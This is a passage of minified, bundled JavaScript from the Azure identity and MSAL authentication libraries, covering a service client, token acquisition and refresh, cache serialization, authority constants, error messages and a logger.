",Multi:"Multi",TSV:"\t",Pipes:"|"}});var H17;var J17=k(()=>{g7A();H17=jo("core-client")});class nw1{constructor(A={}){var K,q;if(this._requestContentType=A.requestContentType,this._endpoint=(K=A.endpoint)!==null&&K!==void 0?K:A.baseUri,A.baseUri)H17.warning("The baseUri option for SDK Clients has been deprecated, please use endpoint instead.");if(this._allowInsecureConnection=A.allowInsecureConnection,this._httpClient=A.httpClient||K17(),this.pipeline=A.pipeline||t6Y(A),(q=A.additionalPolicies)===null||q===void 0?void 0:q.length)for(let{policy:Y,position:z}of A.additionalPolicies){let w=z==="perRetry"?"Sign":void 0;this.pipeline.addPolicy(Y,{afterPhase:w})}}async sendRequest(A){return this.pipeline.sendRequest(this._httpClient,A)}async sendOperationRequest(A,K){let q=K.baseUrl||this._endpoint;if(!q)throw Error("If operationSpec.baseUrl is not specified, then the ServiceClient must have a endpoint string property that contains the base URL to use.");let Y=z17(q,K,A,this),z=wI({url:Y});z.method=K.httpMethod;let w=TU(z);w.operationSpec=K,w.operationArguments=A;let H=K.contentType||this._requestContentType;if(H&&K.requestBody)z.headers.set("Content-Type",H);let J=A.options;if(J){let O=J.requestOptions;if(O){if(O.timeout)z.timeout=O.timeout;if(O.onUploadProgress)z.onUploadProgress=O.onUploadProgress;if(O.onDownloadProgress)z.onDownloadProgress=O.onDownloadProgress;if(O.shouldDeserialize!==void 0)w.shouldDeserialize=O.shouldDeserialize;if(O.allowInsecureConnection)z.allowInsecureConnection=!0}if(J.abortSignal)z.abortSignal=J.abortSignal;if(J.tracingOptions)z.tracingOptions=J.tracingOptions}if(this._allowInsecureConnection)z.allowInsecureConnection=!0;if(z.streamResponseStatusCodes===void 0)z.streamResponseStatusCodes=aA7(K);try{let O=await this.sendRequest(z),X=XO6(O,K.responses[O.status]);if(J===null||J===void 0?void 0:J.onResponse)J.onResponse(O,X);return X}catch(O){if(typeof O==="object"&&(O===null||O===void 0?void 0:O.response)){let X=O.response,$=XO6(X,K.responses[O.statusCode]||K.responses.default);if(O.details=$,J===null||J===void 0?void 0:J.onResponse)J.onResponse(X,$,O)}throw O}}}function t6Y(A){let K=e6Y(A),q=A.credential&&K?{credentialScopes:K,credential:A.credential}:void 0;return eA7(Object.assign(Object.assign({},A),{credentialOptions:q}))}function e6Y(A){if(A.credentialScopes)return A.credentialScopes;if(A.endpoint)return`${A.endpoint}/.default`;if(A.baseUri)return`${A.baseUri}/.default`;if(A.credential&&!A.credentialScopes)throw Error("When using credentials, the ServiceClientOptions must contain either a endpoint or a credentialScopes. Unable to create a bearerTokenAuthenticationPolicy");return}var O17=k(()=>{NU();A17();mt4();q17();UhA();w17();iw1();J17()});var X17=k(()=>{O17()});function $17(A){if(A==="adfs")return"oauth2/token";else return"oauth2/v2.0/token"}var EJ;var mT=k(()=>{y_A();A06();EJ=ghA({namespace:"Microsoft.AAD",packageName:"@azure/identity",packageVersion:Pw1})});function phA(A){let K="";if(Array.isArray(A)){if(A.length!==1)return;K=A[0]}else if(typeof A==="string")K=A;if(!K.endsWith("/.default"))return K;return K.substr(0,K.lastIndexOf("/.default"))}function G17(A){if(typeof A.expires_on==="number")return A.expires_on*1000;if(typeof A.expires_on==="string"){let K=+A.expires_on;if(!isNaN(K))return K*1000;let q=Date.parse(A.expires_on);if(!isNaN(q))return q}if(typeof A.expires_in==="number")return Date.now()+A.expires_in*1000;throw Error(`Failed to parse token expiration from body. expires_in="${A.expires_in}", expires_on="${A.expires_on}"`)}function Z17(A){if(A.refresh_on){if(typeof A.refresh_on==="number")return A.refresh_on*1000;if(typeof A.refresh_on==="string"){let K=+A.refresh_on;if(!isNaN(K))return K*1000;let q=Date.parse(A.refresh_on);if(!isNaN(q))return q}throw Error(`Failed to parse refresh_on from body. refresh_on="${A.refresh_on}"`)}else return}var _17="Specifying a `clientId` or `resourceId` is not supported by the Service Fabric managed identity environment. The managed identity configuration is determined by the Service Fabric cluster resource configuration. See https://aka.ms/servicefabricmi for more information";function A8Y(A){let K=A===null||A===void 0?void 0:A.authorityHost;if(Uw1)K=K!==null&&K!==void 0?K:process.env.AZURE_AUTHORITY_HOST;return K!==null&&K!==void 0?K:EhA}var dhA="noCorrelationId",U_A;var H06=k(()=>{X17();Po();NU();TM();y_A();mT();YX();U_A=class U_A extends nw1{constructor(A){var K,q;let Y=`azsdk-js-identity/${Pw1}`,z=((K=A===null||A===void 0?void 0:A.userAgentOptions)===null||K===void 0?void 0:K.userAgentPrefix)?`${A.userAgentOptions.userAgentPrefix} ${Y}`:`${Y}`,w=A8Y(A);if(!w.startsWith("https:"))throw Error("The authorityHost address must use the 'https' protocol.");super(Object.assign(Object.assign({requestContentType:"application/json; charset=utf-8",retryOptions:{maxRetries:3}},A),{userAgentOptions:{userAgentPrefix:z},baseUri:w}));if(this.allowInsecureConnection=!1,this.authorityHost=w,this.abortControllers=new Map,this.allowLoggingAccountIdentifiers=(q=A===null||A===void 0?void 0:A.loggingOptions)===null||q===void 0?void 0:q.allowLoggingAccountIdentifiers,this.tokenCredentialOptions=Object.assign({},A),A===null||A===void 0?void 0:A.allowInsecureConnection)this.allowInsecureConnection=A.allowInsecureConnection}async sendTokenRequest(A){ZC.info(`IdentityClient: sending token request to [${A.url}]`);let K=await this.sendRequest(A);if(K.bodyAsText&&(K.status===200||K.status===201)){let q=JSON.parse(K.bodyAsText);if(!q.access_token)return null;this.logIdentifiers(K);let Y={accessToken:{token:q.access_token,expiresOnTimestamp:G17(q),refreshAfterTimestamp:Z17(q),tokenType:"Bearer"},refreshToken:q.refresh_token};return ZC.info(`IdentityClient: [${A.url}] token acquired, expires on ${Y.accessToken.expiresOnTimestamp}`),Y}else{let q=new khA(K.status,K.bodyAsText);throw ZC.warning(`IdentityClient: authentication error. HTTP status: ${K.status}, ${q.errorResponse.errorDescription}`),q}}async refreshAccessToken(A,K,q,Y,z,w={}){if(Y===void 0)return null;ZC.info(`IdentityClient: refreshing access token with client ID: ${K}, scopes: ${q} started`);let H={grant_type:"refresh_token",client_id:K,refresh_token:Y,scope:q};if(z!==void 0)H.client_secret=z;let J=new URLSearchParams(H);return EJ.withSpan("IdentityClient.refreshAccessToken",w,async(O)=>{try{let X=$17(A),$=wI({url:`${this.authorityHost}/${A}/${X}`,method:"POST",body:J.toString(),abortSignal:w.abortSignal,headers:U7A({Accept:"application/json","Content-Type":"application/x-www-form-urlencoded"}),tracingOptions:O.tracingOptions}),_=await this.sendTokenRequest($);return ZC.info(`IdentityClient: refreshed token for client ID: ${K}`),_}catch(X){if(X.name===HO6&&X.errorResponse.error==="interaction_required")return ZC.info(`IdentityClient: interaction required for client ID: ${K}`),null;else throw ZC.warning(`IdentityClient: failed refreshing token for client ID: ${K}: ${X}`),X}})}generateAbortSignal(A){let K=new AbortController,q=this.abortControllers.get(A)||[];q.push(K),this.abortControllers.set(A,q);let Y=K.signal.onabort;return K.signal.onabort=(...z)=>{if(this.abortControllers.set(A,void 0),Y)Y.apply(K.signal,z)},K.signal}abortRequests(A){let K=A||dhA,q=[...this.abortControllers.get(K)||[],...this.abortControllers.get(dhA)||[]];if(!q.length)return;for(let Y of q)Y.abort();this.abortControllers.set(K,void 0)}getCorrelationId(A){var K;let q=(K=A===null||A===void 0?void 0:A.body)===null||K===void 0?void 0:K.split("&").map((Y)=>Y.split("=")).find(([Y])=>Y==="client-request-id");return q&&q.length?q[1]||dhA:dhA}async sendGetRequestAsync(A,K){let q=wI({url:A,method:"GET",body:K===null||K===void 0?void 0:K.body,allowInsecureConnection:this.allowInsecureConnection,headers:U7A(K===null||K===void 0?void 0:K.headers),abortSignal:this.generateAbortSignal(dhA)}),Y=await this.sendRequest(q);return this.logIdentifiers(Y),{body:Y.bodyAsText?JSON.parse(Y.bodyAsText):void 0,headers:Y.headers.toJSON(),status:Y.status}}async sendPostRequestAsync(A,K){let q=wI({url:A,method:"POST",body:K===null||K===void 0?void 0:K.body,headers:U7A(K===null||K===void 0?void 0:K.headers),allowInsecureConnection:this.allowInsecureConnection,abortSignal:this.generateAbortSignal(this.getCorrelationId(K))}),Y=await this.sendRequest(q);return this.logIdentifiers(Y),{body:Y.bodyAsText?JSON.parse(Y.bodyAsText):void 0,headers:Y.headers.toJSON(),status:Y.status}}getTokenCredentialOptions(){return this.tokenCredentialOptions}logIdentifiers(A){if(!this.allowLoggingAccountIdentifiers||!A.bodyAsText)return;let K="No User Principal Name available";try{let Y=(A.parsedBody||JSON.parse(A.bodyAsText)).access_token;if(!Y)return;let z=Y.split(".")[1],{appid:w,upn:H,tid:J,oid:O}=JSON.parse(Buffer.from(z,"base64").toString("utf8"));ZC.info(`[Authenticated account] Client ID: ${w}. Tenant ID: ${J}. User Principal Name: ${H||K}. Object ID (user): ${O}`)}catch(q){ZC.warning("allowLoggingAccountIdentifiers was set, but we couldn't log the account information. Error:",q.message)}}}});var W17=()=>{};class p7A{static serializeJSONBlob(A){return JSON.stringify(A)}static serializeAccounts(A){let K={};return Object.keys(A).map(function(q){let Y=A[q];K[q]={home_account_id:Y.homeAccountId,environment:Y.environment,realm:Y.realm,local_account_id:Y.localAccountId,username:Y.username,authority_type:Y.authorityType,name:Y.name,client_info:Y.clientInfo,last_modification_time:Y.lastModificationTime,last_modification_app:Y.lastModificationApp,tenantProfiles:Y.tenantProfiles?.map((z)=>{return JSON.stringify(z)})}}),K}static serializeIdTokens(A){let K={};return Object.keys(A).map(function(q){let Y=A[q];K[q]={home_account_id:Y.homeAccountId,environment:Y.environment,credential_type:Y.credentialType,client_id:Y.clientId,secret:Y.secret,realm:Y.realm}}),K}static serializeAccessTokens(A){let K={};return Object.keys(A).map(function(q){let Y=A[q];K[q]={home_account_id:Y.homeAccountId,environment:Y.environment,credential_type:Y.credentialType,client_id:Y.clientId,secret:Y.secret,realm:Y.realm,target:Y.target,cached_at:Y.cachedAt,expires_on:Y.expiresOn,extended_expires_on:Y.extendedExpiresOn,refresh_on:Y.refreshOn,key_id:Y.keyId,token_type:Y.tokenType,requestedClaims:Y.requestedClaims,requestedClaimsHash:Y.requestedClaimsHash,userAssertionHash:Y.userAssertionHash}}),K}static serializeRefreshTokens(A){let K={};return Object.keys(A).map(function(q){let Y=A[q];K[q]={home_account_id:Y.homeAccountId,environment:Y.environment,credential_type:Y.credentialType,client_id:Y.clientId,secret:Y.secret,family_id:Y.familyId,target:Y.target,realm:Y.realm}}),K}static serializeAppMetadata(A){let K={};return Object.keys(A).map(function(q){let Y=A[q];K[q]={client_id:Y.clientId,environment:Y.environment,family_id:Y.familyId}}),K}static serializeAllCache(A){return{Account:this.serializeAccounts(A.accounts),IdToken:this.serializeIdTokens(A.idTokens),AccessToken:this.serializeAccessTokens(A.accessTokens),RefreshToken:this.serializeRefreshTokens(A.refreshTokens),AppMetadata:this.serializeAppMetadata(A.appMetadata)}}}var rw1=k(()=>{/*! @azure/msal-node v3.8.1 2025-10-29 */});var u6,P5,mD,J06,YH,oV,d7A,fo,ow1,p_A,fu,aV,c7A,vU,U2,chA="appmetadata",D17="client_info",No="1",d_A,EM,X_,x9,Nu,lhA,ihA,l7A,aw1,Pw,c_A=300,lZ;var zH=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */u6={LIBRARY_NAME:"MSAL.JS",SKU:"msal.js.common",DEFAULT_AUTHORITY:"https://login.microsoftonline.com/common/",DEFAULT_AUTHORITY_HOST:"login.microsoftonline.com",DEFAULT_COMMON_TENANT:"common",ADFS:"adfs",DSTS:"dstsv2",AAD_INSTANCE_DISCOVERY_ENDPT:"https://login.microsoftonline.com/common/discovery/instance?api-version=1.1&authorization_endpoint=",CIAM_AUTH_URL:".ciamlogin.com",AAD_TENANT_DOMAIN_SUFFIX:".onmicrosoft.com",RESOURCE_DELIM:"|",NO_ACCOUNT:"NO_ACCOUNT",CLAIMS:"claims",CONSUMER_UTID:"9188040d-6c67-4c5b-b112-36a304b66dad",OPENID_SCOPE:"openid",PROFILE_SCOPE:"profile",OFFLINE_ACCESS_SCOPE:"offline_access",EMAIL_SCOPE:"email",CODE_GRANT_TYPE:"authorization_code",RT_GRANT_TYPE:"refresh_token",S256_CODE_CHALLENGE_METHOD:"S256",URL_FORM_CONTENT_TYPE:"application/x-www-form-urlencoded;charset=utf-8",AUTHORIZATION_PENDING:"authorization_pending",NOT_DEFINED:"not_defined",EMPTY_STRING:"",NOT_APPLICABLE:"N/A",NOT_AVAILABLE:"Not Available",FORWARD_SLASH:"/",IMDS_ENDPOINT:"http://169.254.169.254/metadata/instance/compute/location",IMDS_VERSION:"2020-06-01",IMDS_TIMEOUT:2000,AZURE_REGION_AUTO_DISCOVER_FLAG:"TryAutoDetect",REGIONAL_AUTH_PUBLIC_CLOUD_SUFFIX:"login.microsoft.com",KNOWN_PUBLIC_CLOUDS:["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],SHR_NONCE_VALIDITY:240,INVALID_INSTANCE:"invalid_instance"},P5={SUCCESS:200,SUCCESS_RANGE_START:200,SUCCESS_RANGE_END:299,REDIRECT:302,CLIENT_ERROR:400,CLIENT_ERROR_RANGE_START:400,BAD_REQUEST:400,UNAUTHORIZED:401,NOT_FOUND:404,REQUEST_TIMEOUT:408,GONE:410,TOO_MANY_REQUESTS:429,CLIENT_ERROR_RANGE_END:499,SERVER_ERROR:500,SERVER_ERROR_RANGE_START:500,SERVICE_UNAVAILABLE:503,GATEWAY_TIMEOUT:504,SERVER_ERROR_RANGE_END:599,MULTI_SIDED_ERROR:600},mD=[u6.OPENID_SCOPE,u6.PROFILE_SCOPE,u6.OFFLINE_ACCESS_SCOPE],J06=[...mD,u6.EMAIL_SCOPE],YH={CONTENT_TYPE:"Content-Type",CONTENT_LENGTH:"Content-Length",RETRY_AFTER:"Retry-After",CCS_HEADER:"X-AnchorMailbox",WWWAuthenticate:"WWW-Authenticate",AuthenticationInfo:"Authentication-Info",X_MS_REQUEST_ID:"x-ms-request-id",X_MS_HTTP_VERSION:"x-ms-httpver"},oV={COMMON:"common",ORGANIZATIONS:"organizations",CONSUMERS:"consumers"},d7A={ACCESS_TOKEN:"access_token",XMS_CC:"xms_cc"},fo={LOGIN:"login",SELECT_ACCOUNT:"select_account",CONSENT:"consent",NONE:"none",CREATE:"create",NO_SESSION:"no_session"},ow1={PLAIN:"plain",S256:"S256"},p_A={CODE:"code",IDTOKEN_TOKEN:"id_token token",IDTOKEN_TOKEN_REFRESHTOKEN:"id_token token refresh_token"},fu={QUERY:"query",FRAGMENT:"fragment",FORM_POST:"form_post"},aV={IMPLICIT_GRANT:"implicit",AUTHORIZATION_CODE_GRANT:"authorization_code",CLIENT_CREDENTIALS_GRANT:"client_credentials",RESOURCE_OWNER_PASSWORD_GRANT:"password",REFRESH_TOKEN_GRANT:"refresh_token",DEVICE_CODE_GRANT:"device_code",JWT_BEARER:"urn:ietf:params:oauth:grant-type:jwt-bearer"},c7A={MSSTS_ACCOUNT_TYPE:"MSSTS",ADFS_ACCOUNT_TYPE:"ADFS",MSAV1_ACCOUNT_TYPE:"MSA",GENERIC_ACCOUNT_TYPE:"Generic"},vU={CACHE_KEY_SEPARATOR:"-",CLIENT_INFO_SEPARATOR:"."},U2={ID_TOKEN:"IdToken",ACCESS_TOKEN:"AccessToken",ACCESS_TOKEN_WITH_AUTH_SCHEME:"AccessToken_With_AuthScheme",REFRESH_TOKEN:"RefreshToken"},d_A={CACHE_KEY:"authority-metadata",REFRESH_TIME_SECONDS:86400},EM={CONFIG:"config",CACHE:"cache",NETWORK:"network",HARDCODED_VALUES:"hardcoded_values"},X_={SCHEMA_VERSION:5,MAX_LAST_HEADER_BYTES:330,MAX_CACHED_ERRORS:50,CACHE_KEY:"server-telemetry",CATEGORY_SEPARATOR:"|",VALUE_SEPARATOR:",",OVERFLOW_TRUE:"1",OVERFLOW_FALSE:"0",UNKNOWN_ERROR:"unknown_error"},x9={BEARER:"Bearer",POP:"pop",SSH:"ssh-cert"},Nu={DEFAULT_THROTTLE_TIME_SECONDS:60,DEFAULT_MAX_THROTTLE_TIME_SECONDS:3600,THROTTLING_PREFIX:"throttling",X_MS_LIB_CAPABILITY_VALUE:"retry-after, h429"},lhA={INVALID_GRANT_ERROR:"invalid_grant",CLIENT_MISMATCH_ERROR:"client_mismatch"},ihA={username:"username",password:"password"},l7A={FAILED_AUTO_DETECTION:"1",INTERNAL_CACHE:"2",ENVIRONMENT_VARIABLE:"3",IMDS:"4"},aw1={CONFIGURED_NO_AUTO_DETECTION:"2",AUTO_DETECTION_REQUESTED_SUCCESSFUL:"4",AUTO_DETECTION_REQUESTED_FAILED:"5"},Pw={NOT_APPLICABLE:"0",FORCE_REFRESH_OR_CLAIMS:"1",NO_CACHED_ACCESS_TOKEN:"2",CACHED_ACCESS_TOKEN_EXPIRED:"3",PROACTIVELY_REFRESHED:"4"},lZ={BASE64:"base64",HEX:"hex",UTF8:"utf-8"}});var l_A={};_q(l_A,{unexpectedError:()=>nhA,postRequestFailed:()=>rhA});var nhA="unexpected_error",rhA="post_request_failed";var O06=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});function $06(A,K){return new V5(A,K?`${sw1[A]} ${K}`:sw1[A])}var sw1,X06,V5;var DC=k(()=>{zH();O06();/*! @azure/msal-common v15.13.1 2025-10-29 */sw1={[nhA]:"Unexpected error in authentication.",[rhA]:"Post request failed from the network, could be a 4xx/5xx or a network unavailability. Please check the exact error code for details."},X06={unexpectedError:{code:nhA,desc:sw1[nhA]},postRequestFailed:{code:rhA,desc:sw1[rhA]}};V5=class V5 extends Error{constructor(A,K,q){let Y=K?`${A}: ${K}`:A;super(Y);Object.setPrototypeOf(this,V5.prototype),this.errorCode=A||u6.EMPTY_STRING,this.errorMessage=K||u6.EMPTY_STRING,this.subError=q||u6.EMPTY_STRING,this.name="AuthError"}setCorrelationId(A){this.correlationId=A}}});var oz={};_q(oz,{userTimeoutReached:()=>zbA,userCanceled:()=>JbA,unexpectedCredentialType:()=>KbA,tokenRefreshRequired:()=>LU,tokenParsingError:()=>vo,tokenClaimsCnfRequiredForSignedJwt:()=>wKA,stateNotFound:()=>Eo,stateMismatch:()=>s7A,requestCannotBeMade:()=>KKA,openIdConfigError:()=>o7A,nullOrEmptyToken:()=>n7A,nonceMismatch:()=>t7A,noNetworkConnectivity:()=>HbA,noCryptoObject:()=>Co,noAccountInSilentRequest:()=>kU,noAccountFound:()=>AbA,networkError:()=>r7A,nestedAppAuthBridgeDisabled:()=>XbA,multipleMatchingTokens:()=>ohA,multipleMatchingAppMetadata:()=>AKA,multipleMatchingAccounts:()=>ahA,missingTenantIdError:()=>ObA,methodNotImplemented:()=>v3,maxAgeTranspired:()=>e7A,keyIdMissing:()=>OKA,invalidState:()=>HI,invalidClientCredential:()=>YbA,invalidCacheRecord:()=>zKA,invalidCacheEnvironment:()=>CU,invalidAssertion:()=>qbA,hashNotDeserialized:()=>a7A,endpointResolutionError:()=>kM,endSessionEndpointNotSupported:()=>JKA,emptyInputScopeSet:()=>ko,deviceCodeUnknownError:()=>ehA,deviceCodePollingCancelled:()=>shA,deviceCodeExpired:()=>thA,clientInfoEmptyError:()=>i7A,clientInfoDecodingError:()=>To,cannotRemoveEmptyScope:()=>qKA,cannotAppendScopeSet:()=>YKA,bindingKeyNotRemoved:()=>wbA,authorizationCodeMissingFromServerResponse:()=>HKA,authTimeNotFound:()=>EU});var To="client_info_decoding_error",i7A="client_info_empty_error",vo="token_parsing_error",n7A="null_or_empty_token",kM="endpoints_resolution_error",r7A="network_error",o7A="openid_config_error",a7A="hash_not_deserialized",HI="invalid_state",s7A="state_mismatch",Eo="state_not_found",t7A="nonce_mismatch",EU="auth_time_not_found",e7A="max_age_transpired",ohA="multiple_matching_tokens",ahA="multiple_matching_accounts",AKA="multiple_matching_appMetadata",KKA="request_cannot_be_made",qKA="cannot_remove_empty_scope",YKA="cannot_append_scopeset",ko="empty_input_scopeset",shA="device_code_polling_cancelled",thA="device_code_expired",ehA="device_code_unknown_error",kU="no_account_in_silent_request",zKA="invalid_cache_record",CU="invalid_cache_environment",AbA="no_account_found",Co="no_crypto_object",KbA="unexpected_credential_type",qbA="invalid_assertion",YbA="invalid_client_credential",LU="token_refresh_required",zbA="user_timeout_reached",wKA="token_claims_cnf_required_for_signedjwt",HKA="authorization_code_missing_from_server_response",wbA="binding_key_not_removed",JKA="end_session_endpoint_not_supported",OKA="key_id_missing",HbA="no_network_connectivity",JbA="user_canceled",ObA="missing_tenant_id_error",v3="method_not_implemented",XbA="nested_app_auth_bridge_disabled";var zX=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});function t6(A,K){return new Lo(A,K)}var f5,_06,Lo;var H$=k(()=>{DC();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */f5={[To]:"The client info could not be parsed/decoded correctly",[i7A]:"The client info was empty",[vo]:"Token cannot be parsed",[n7A]:"The token is null or empty",[kM]:"Endpoints cannot be resolved",[r7A]:"Network request failed",[o7A]:"Could not retrieve endpoints. Check your authority and verify the .well-known/openid-configuration endpoint returns the required endpoints.",[a7A]:"The hash parameters could not be deserialized",[HI]:"State was not the expected format",[s7A]:"State mismatch error",[Eo]:"State not found",[t7A]:"Nonce mismatch error",[EU]:"Max Age was requested and the ID token is missing the auth_time variable. auth_time is an optional claim and is not enabled by default - it must be enabled. See https://aka.ms/msaljs/optional-claims for more information.",[e7A]:"Max Age is set to 0, or too much time has elapsed since the last end-user authentication.",[ohA]:"The cache contains multiple tokens satisfying the requirements. Call AcquireToken again providing more requirements such as authority or account.",[ahA]:"The cache contains multiple accounts satisfying the given parameters. Please pass more info to obtain the correct account",[AKA]:"The cache contains multiple appMetadata satisfying the given parameters. Please pass more info to obtain the correct appMetadata",[KKA]:"Token request cannot be made without authorization code or refresh token.",[qKA]:"Cannot remove null or empty scope from ScopeSet",[YKA]:"Cannot append ScopeSet",[ko]:"Empty input ScopeSet cannot be processed",[shA]:"Caller has cancelled token endpoint polling during device code flow by setting DeviceCodeRequest.cancel = true.",[thA]:"Device code is expired.",[ehA]:"Device code stopped polling for unknown reasons.",[kU]:"Please pass an account object, silent flow is not supported without account information",[zKA]:"Cache record object was null or undefined.",[CU]:"Invalid environment when attempting to create cache entry",[AbA]:"No account found in cache for given key.",[Co]:"No crypto object detected.",[KbA]:"Unexpected credential type.",[qbA]:"Client assertion must meet requirements described in https://tools.ietf.org/html/rfc7515",[YbA]:"Client credential (secret, certificate, or assertion) must not be empty when creating a confidential client. An application should at most have one credential",[LU]:"Cannot return token from cache because it must be refreshed. This may be due to one of the following reasons: forceRefresh parameter is set to true, claims have been requested, there is no cached access token or it is expired.",[zbA]:"User defined timeout for device code polling reached",[wKA]:"Cannot generate a POP jwt if the token_claims are not populated",[HKA]:"Server response does not contain an authorization code to proceed",[wbA]:"Could not remove the credential's binding key from storage.",[JKA]:"The provided authority does not support logout",[OKA]:"A keyId value is missing from the requested bound token's cache record and is required to match the token to it's stored binding key.",[HbA]:"No network connectivity. Check your internet connection.",[JbA]:"User cancelled the flow.",[ObA]:"A tenant id - not common, organizations, or consumers - must be specified when using the client_credentials flow.",[v3]:"This method has not been implemented",[XbA]:"The nested app auth bridge is disabled"},_06={clientInfoDecodingError:{code:To,desc:f5[To]},clientInfoEmptyError:{code:i7A,desc:f5[i7A]},tokenParsingError:{code:vo,desc:f5[vo]},nullOrEmptyToken:{code:n7A,desc:f5[n7A]},endpointResolutionError:{code:kM,desc:f5[kM]},networkError:{code:r7A,desc:f5[r7A]},unableToGetOpenidConfigError:{code:o7A,desc:f5[o7A]},hashNotDeserialized:{code:a7A,desc:f5[a7A]},invalidStateError:{code:HI,desc:f5[HI]},stateMismatchError:{code:s7A,desc:f5[s7A]},stateNotFoundError:{code:Eo,desc:f5[Eo]},nonceMismatchError:{code:t7A,desc:f5[t7A]},authTimeNotFoundError:{code:EU,desc:f5[EU]},maxAgeTranspired:{code:e7A,desc:f5[e7A]},multipleMatchingTokens:{code:ohA,desc:f5[ohA]},multipleMatchingAccounts:{code:ahA,desc:f5[ahA]},multipleMatchingAppMetadata:{code:AKA,desc:f5[AKA]},tokenRequestCannotBeMade:{code:KKA,desc:f5[KKA]},removeEmptyScopeError:{code:qKA,desc:f5[qKA]},appendScopeSetError:{code:YKA,desc:f5[YKA]},emptyInputScopeSetError:{code:ko,desc:f5[ko]},DeviceCodePollingCancelled:{code:shA,desc:f5[shA]},DeviceCodeExpired:{code:thA,desc:f5[thA]},DeviceCodeUnknownError:{code:ehA,desc:f5[ehA]},NoAccountInSilentRequest:{code:kU,desc:f5[kU]},invalidCacheRecord:{code:zKA,desc:f5[zKA]},invalidCacheEnvironment:{code:CU,desc:f5[CU]},noAccountFound:{code:AbA,desc:f5[AbA]},noCryptoObj:{code:Co,desc:f5[Co]},unexpectedCredentialType:{code:KbA,desc:f5[KbA]},invalidAssertion:{code:qbA,desc:f5[qbA]},invalidClientCredential:{code:YbA,desc:f5[YbA]},tokenRefreshRequired:{code:LU,desc:f5[LU]},userTimeoutReached:{code:zbA,desc:f5[zbA]},tokenClaimsRequired:{code:wKA,desc:f5[wKA]},noAuthorizationCodeFromServer:{code:HKA,desc:f5[HKA]},bindingKeyNotRemovedError:{code:wbA,desc:f5[wbA]},logoutNotSupported:{code:JKA,desc:f5[JKA]},keyIdMissing:{code:OKA,desc:f5[OKA]},noNetworkConnectivity:{code:HbA,desc:f5[HbA]},userCanceledError:{code:JbA,desc:f5[JbA]},missingTenantIdError:{code:ObA,desc:f5[ObA]},nestedAppAuthBridgeDisabled:{code:XbA,desc:f5[XbA]}};Lo=class Lo extends V5{constructor(A,K){super(A,K?`${f5[A]}: ${K}`:f5[A]);this.name="ClientAuthError",Object.setPrototypeOf(this,Lo.prototype)}}});var i_A;var G06=k(()=>{H$();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */i_A={createNewGuid:()=>{throw t6(v3)},base64Decode:()=>{throw t6(v3)},base64Encode:()=>{throw t6(v3)},base64UrlEncode:()=>{throw t6(v3)},encodeKid:()=>{throw t6(v3)},async getPublicKeyThumbprint(){throw t6(v3)},async removeTokenBindingKey(){throw t6(v3)},async clearKeystore(){throw t6(v3)},async signJwt(){throw t6(v3)},async hashString(){throw t6(v3)}}});class sV{constructor(A,K,q){this.level=WO.Info;let Y=()=>{return},z=A||sV.createDefaultLoggerOptions();this.localCallback=z.loggerCallback||Y,this.piiLoggingEnabled=z.piiLoggingEnabled||!1,this.level=typeof z.logLevel==="number"?z.logLevel:WO.Info,this.correlationId=z.correlationId||u6.EMPTY_STRING,this.packageName=K||u6.EMPTY_STRING,this.packageVersion=q||u6.EMPTY_STRING}static createDefaultLoggerOptions(){return{loggerCallback:()=>{},piiLoggingEnabled:!1,logLevel:WO.Info}}clone(A,K,q){return new sV({loggerCallback:this.localCallback,piiLoggingEnabled:this.piiLoggingEnabled,logLevel:this.level,correlationId:q||this.correlationId},A,K)}logMessage(A,K){if(K.logLevel>this.level||!this.piiLoggingEnabled&&K.containsPii)return;let z=`${`[${new Date().toUTCString()}] : [${K.correlationId||this.correlationId||""}]`} : ${this.packageName}@${this.packageVersion} : ${WO[K.logLevel]} - ${A}`;this.executeCallback(K.logLevel,z,K.containsPii||!1)}executeCallback(A,K,q){if(this.localCallback)this.localCallback(A,K,q)}error(A,K){this.logMessage(A,{logLevel:WO.Error,containsPii:!1,correlationId:K||u6.EMPTY_STRING})}errorPii(A,K){this.logMessage(A,{logLevel:WO.Error,containsPii:!0,correlationId:K||u6.EMPTY_STRING})}warning(A,K){this.logMessage(A,{logLevel:WO.Warning,containsPii:!1,correlationId:K||u6.EMPTY_STRING})}warningPii(A,K){this.logMessage(A,{logLevel:WO.Warning,containsPii:!0,correlationId:K||u6.EMPTY_STRING})}info(A,K){this.logMessage(A,{logLevel:WO.Info,containsPii:!1,correlationId:K||u6.EMPTY_STRING})}infoPii(A,K){this.logMessage(A,{logLevel:WO.Info,containsPii:!0,correlationId:K||u6.EMPTY_STRING})}verbose(A,K){this.logMessage(A,{logLevel:WO.Verbose,containsPii:!1,correlationId:K||u6.EMPTY_STRING})}verbosePii(A,K){this.logMessage(A,{logLevel:WO.Verbose,containsPii:!0,correlationId:K||u6.EMPTY_STRING})}trace(A,K){this.logMessage(A,{logLevel:WO.Trace,containsPii:!1,correlationId:K||u6.EMPTY_STRING})}tracePii(A,K){this.logMessage(A,{logLevel:WO.Trace,containsPii:!0,correlationId:K||u6.EMPTY_STRING})}isPiiLoggingEnabled(){return this.piiLoggingEnabled||!1}}var WO;var tw1=k(()=>{zH();/*! @azure/msal-common v15.13.1 2025-10-29 */(function(A){A[A.Error=0]="Error",A[A.Warning=1]="Warning",A[A.Info=2]="Info",A[A.Verbose=3]="Verbose",A[A.Trace=4]="Trace"})(WO||(WO={}))});var ew1="@azure/msal-common",n_A="15.13.1";var AH1=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});var RU;var KH1=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */RU={None:"none",AzurePublic:"https://login.microsoftonline.com",AzurePpe:"https://login.windows-ppe.net",AzureChina:"https://login.chinacloudapi.cn",AzureGermany:"https://login.microsoftonline.de",AzureUsGovernment:"https://login.microsoftonline.us"}});var 